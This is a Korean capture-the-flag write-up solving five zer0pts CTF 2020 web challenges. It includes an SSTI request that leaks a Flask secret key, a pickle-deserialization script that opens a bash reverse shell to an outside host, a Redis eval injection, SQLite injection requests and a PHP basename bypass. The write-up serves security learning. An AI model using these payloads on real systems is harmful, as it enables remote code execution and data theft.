Zer0pts CTF 2020

     

    image-20200309084922019

    일본의 zer0pts 팀에서 주관한 CTF입니다.

    [332pts] notepad (1st solve)

    This notepad is more useful than Windows one, right?

    Flask SSTI and pickle Unserialize 를 주제로 한 문제입니다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    @app.errorhandler(404)
    def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")

    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'

    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

    return flask.render_template_string(html), 404

    404 페이지 렌더링에 사용되는 page_not_found 함수에서는 Referer 값을 인자로 하여 문자열을 구성해
    flask의 render_template_string 함수로 전달하고 있습니다.

    따라서 SSTI 에 취약하며, {{config}} 값을 삽입하는 것으로 서버의 시크릿 키을 알아낼 수 있습니다.

    1
    2
    3
    4
    5
    6
    7
    8
    // Request
    GET /x HTTP/1.1
    Host: 3.112.201.75:8001
    Referer: http://3.112.201.75:8001/?{{config}}
    Connection: close

    // Response
    <html><head><meta http-equiv="Refresh" content="3;URL=http://3.112.201.75:8001/?<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}>"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>

    위와 같은 요청을 통해 SECRET_KEYb'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'라는 것을 알아냈으므로, session 값을 자유롭게 조작할 수 있습니다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    ...
    import pickle
    ...
    @app.route('/note/<int:nid>', methods=['GET'])
    def notepad(nid=0):
    data = load()

    if not 0 <= nid < len(data):
    nid = 0

    return flask.render_template('index.html', data=data, nid=nid)
    ...
    def load():
    """ Load saved notes """
    try:
    savedata = flask.session.get('savedata', None)
    data = pickle.loads(base64.b64decode(savedata))
    except:
    data = [{"date": now(), "text": "", "title": "*New Note*"}]

    return data
    ...

    pickle unserialize 가 실행되는 곳은 load 함수로 세션에서 savedata 값을 가져와 base64 복호화 한 후 pickle.loads 를 실행하고 있습니다.

    따라서 savedata 값을 조작해준 후, load 함수를 호출하는 /note/<int:nid> 경로를 요청하면 됩니다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    from flask.sessions import SecureCookieSessionInterface
    import os, sys, pickle, base64, requests

    COMMAND = "bash -c 'bash -i >& /dev/tcp/15.165.0.114/8888 0>&1'"

    class PickleRce(object):
    def __reduce__(self):
    return (os.system,(COMMAND,))

    class App(object):
    def __init__(self):
    self.secret_key = None

    app = App()
    app.secret_key = b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'

    si = SecureCookieSessionInterface()
    serializer = si.get_signing_serializer(app)

    session = serializer.dumps({'savedata':base64.b64encode(pickle.dumps(PickleRce()))})

    requests.get('http://3.112.201.75:8001/note/1', cookies = {
    'session': session
    });

    위는 pickle unserialize 를 이용해 rce를 하는 poc입니다.

    [653pts] MusicBlog (2nd solve)

    You can introduce favorite songs to friends with MusicBlog!

    분류를 정하기 힘든 문제인데, client side attack 입니다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    // (snipped)

    const flag = 'zer0pts{<censored>}';

    // (snipped)

    const crawl = async (url) => {
    console.log(`[+] Query! (${url})`);
    const page = await browser.newPage();
    try {
    await page.setUserAgent(flag);
    await page.goto(url, {
    waitUntil: 'networkidle0',
    timeout: 10 * 1000,
    });
    await page.click('#like');
    } catch (err){
    console.log(err);
    }
    await page.close();
    console.log(`[+] Done! (${url})`)
    };

    // (snipped)

    주어진 소스에서 worker.js 를 확인해 보면 페이지가 작성되면 관리자가 게시글에 들어가 like 버튼을 누른 후 봇이 종료됨을 확인할 수 있습니다.

    플래그는 관리자의 user-agent 값에 포함되어 있네요.

    1
    2
    3
    4
    $nonce = get_nonce();
    header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
    header('X-Frame-Options: DENY');
    header('X-XSS-Protection: 1; mode=block');

    서버에는 csp 가 걸려있어, 외부로 요청을 보낼 수 없습니다.

    1
    2
    3
    4
    5
    6
    // [[URL]] → <audio src="URL"></audio>
    function render_tags($str) {
    $str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
    $str = strip_tags($str, '<audio>'); // only allows `<audio>`
    return $str;
    }

    본 문제의 중요한 부분은 여기입니다.
    게시글 작성 중에 사용되는 필터링 함수에서는, strip_tags 함수를 사용하고 있는데 본 함수에 존재하는 취약점을 통해 문제를 해결할 수 있습니다.

    1
    2
    var_dump(strip_tags('<a/udio>', '<audio>'));
    // string(8) "<a/udio>"

    audio 태그만 허용해야 하는 것이 정상이지만, strip_tags 는 태그 사이에 slash 가 들어가는 것을 허용하고 있습니다. 따라서 우리는 a 태그를 사용할 수 있게 됩니다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <div class="container">
    <h1 class="mt-4">
    <span class="badge badge-secondary">Secret</span> titie here </h1>
    <span class="text-muted">by posix <span class="badge badge-love badge-pill">♥ 0</span></span>
    <div class="mt-3">
    content here </div>
    <div class="mt-3">
    <a href="like.php?id=5dfd06e9-741b-4fff-a3a5-4f5e8e79dac8" id="like" class="btn btn-love">♥ Like this post</a>
    </div>
    </div>

    또한 content 가 들어가는 부분도 like 버튼보다 상위에 위치하고 있습니다.

    1
    <a/udio id="like" href="http://rwx.kr:8888">x

    따라서 위와 같은 태그를 삽입해 주면, 공격자 서버로 접속하도록 할 수 있습니다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    $ nc -lvp 8888
    Listening on [0.0.0.0] (family 0, port 8888)
    Connection from ec2-3-112-201-75.ap-northeast-1.compute.amazonaws.com 53510 received!
    GET / HTTP/1.1
    Host: rwx.kr:8888
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    User-Agent: zer0pts{M4sh1m4fr3sh!!}
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://challenge/post.php?id=2116dfe6-5cf1-459a-b575-cd59b08cdfa5
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US

    [435pts] urlapp

    application here

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    require 'sinatra'
    require 'uri'
    require 'socket'

    def connect()
    sock = TCPSocket.open("redis", 6379)

    if not ping(sock) then
    exit
    end

    return sock
    end

    def query(sock, cmd)
    sock.write(cmd + "\r\n")
    end

    def recv(sock)
    data = sock.gets
    if data == nil then
    return nil
    elsif data[0] == "+" then
    return data[1..-1].strip
    elsif data[0] == "$" then
    if data == "$-1\r\n" then
    return nil
    end
    return sock.gets.strip
    end

    return nil
    end

    def ping(sock)
    query(sock, "ping")
    return recv(sock) == "PONG"
    end

    def set(sock, key, value)
    query(sock, "SET #{key} #{value}")
    return recv(sock) == "OK"
    end

    def get(sock, key)
    query(sock, "GET #{key}")
    return recv(sock)
    end

    before do
    sock = connect()
    set(sock, "flag", File.read("flag.txt").strip)
    end

    get '/' do
    if params.has_key?(:q) then
    q = params[:q]
    if not (q =~ /^[0-9a-f]{16}$/)
    return
    end

    sock = connect()
    url = get(sock, q)
    redirect url
    end

    send_file 'index.html'
    end

    post '/' do
    if not params.has_key?(:url) then
    return
    end

    url = params[:url]
    if not (url =~ URI.regexp) then
    return
    end

    key = Random.urandom(8).unpack("H*")[0]
    sock = connect()
    set(sock, key, url)

    "#{request.host}:#{request.port}/?q=#{key}"
    end

    루비로 구성된 redis ssrf 문제입니다.
    개행에 대한 처리가 되어있지 않으므로 flag 키에 저장된 값을 가져와 원하는 대로 저장해서 불러와주면 됩니다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    // Request 1
    POST / HTTP/1.1
    Host: 3.112.201.75:8004
    Content-Type: application/x-www-form-urlencoded
    Connection: close
    Content-Length: 117

    url=http://rwx.kr
    eval "redis.call('set','e41cf0f94e050661','http://rwx.kr?'..redis.call('get','flag'));return 1;" 0

    // Request 2
    GET /?q=e41cf0f94e050661 HTTP/1.1
    Host: 3.112.201.75:8004
    Connection: close

    // Response
    HTTP/1.1 302 Found
    Content-Type: text/html;charset=utf-8
    Location: http://rwx.kr?zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}
    Content-Length: 0
    X-Xss-Protection: 1; mode=block
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Server: WEBrick/1.6.0 (Ruby/2.7.0/2019-12-25)
    Date: Sun, 08 Mar 2020 21:40:28 GMT
    Connection: close

    [755pts] phpNantokaAdmin

    phpNantokaAdmin is a management tool for SQLite.

    Sqlite injection 문제입니다. 기존에 sqlite 에 대한 연구가 부족했기에 푸는데에 꽤나 오래 걸렸습니다.

    본 문제를 해결하기 위해 응용되는 sqlite 문법은 총 3가지 입니다.

    1
    select [sql] from sqlite_master;

    첫번째는 square bracket 입니다.
    mssql 구문과의 호환성을 위해 sqlite 에서는 square bracket 을 다른 쿼트와 같은 기능을 할 수 있도록 지원하고 있습니다.

    1
    2
    3
    4
    5
    6
    create table sometbl (somecol INT);
    insert into sometbl values(1);
    select somecol from sometbl;
    // 1
    select somecol somecoaaaal from sometbl;
    // 1

    두번째는 잘못된 문법 사용에 대한 것인데, sqlite 에서는 컬럼 사이에 반점을 붙여주지 않으면 실제로 존재하는 컬럼인지에 관계없이 뒤에 오는 컬럼명을 무시합니다.

    1
    2
    3
    create table sometbl2 as select 2;
    select * from sometbl2;
    2

    세번째는 create table .. as select .. 문입니다.
    본 구문은 괄호 없이 테이블 생성을 가능하도록 합니다.

    1
    2
    3
    4
    POST /?page=create HTTP/1.1
    ...

    table_name=[aaa]as select [sql][&columns[0][name]=]from sqlite_master;&columns[0][type]=2

    image-20200309090320124

    위에서 제시한 세가지 문법을 사용한 후, /?page=index 에 접속하면 플래그가 들어있는 테이블과 컬럼명을 확인할 수 있습니다. 이후에는 같은 방법으로 플래그를 읽으면 됩니다.

    1
    2
    3
    4
    POST /?page=create HTTP/1.1
    ...

    table_name=[aaa]as select [flag_2a2d04c3][&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2

    image-20200309090554181

    [345pts] Can you guess it (2nd solve)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    <?php
    include 'config.php'; // FLAG is defined in config.php

    if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("I don't know what you are thinking, but I won't let you read it :)");
    }

    if (isset($_GET['source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
    }

    $secret = bin2hex(random_bytes(64));
    if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
    } else {
    $message = 'Wrong.';
    }
    }
    ?>
    <!doctype html>
    <html lang="en">
    <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
    </head>
    <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
    <?php if (isset($message)) { ?>
    <p><?= $message ?></p>
    <?php } ?>
    <form action="index.php" method="POST">
    <input type="text" name="guess">
    <input type="submit">
    </form>
    </body>
    </html>

    게싱을 가장한 필터 바이패스 문제입니다.

    PathPHP_SELF
    /index.php
    /index.phpindex.php
    /index.php/config.phpindex.php/config.php

    먼저 우리는 PHP_SELF가 조작될 수 있는 값이라는 것을 알아야 합니다.

    따라서 index.php 가 붙은 앞부분은 어쩔 수 없지만, 뒷부분은 자유롭게 컨트롤 가능하므로 basename 함수를 통해 highlight_file 함수 인자로 전달되므로 index.php/config.phpconfig.php 를 출력하게 만듭니다.

    1
    2
    3
    if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("I don't know what you are thinking, but I won't let you read it :)");
    }

    그러나 여기서 문제가 발생합니다.
    정규식 필터링을 수행하고 있는데 이에 걸리면 즉시 종료됩니다.

    1
    2
    php > var_dump(basename("index.php/config.php/\xbb"));
    // "config.php"

    그러나 php는 우리를 배신하지 않습니다.
    basename 함수는 뒤에 오는 [\x80-\xff] 범위의 문자열에 대해서는 철저히 무시합니다.

    1
    2
    3
    // http://3.112.201.75:8003/index.php/config.php/%bb?source
    <?php
    define('FLAG', 'zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}');

    따라서 위 주소를 통해 플래그를 읽어올 수 있습니다.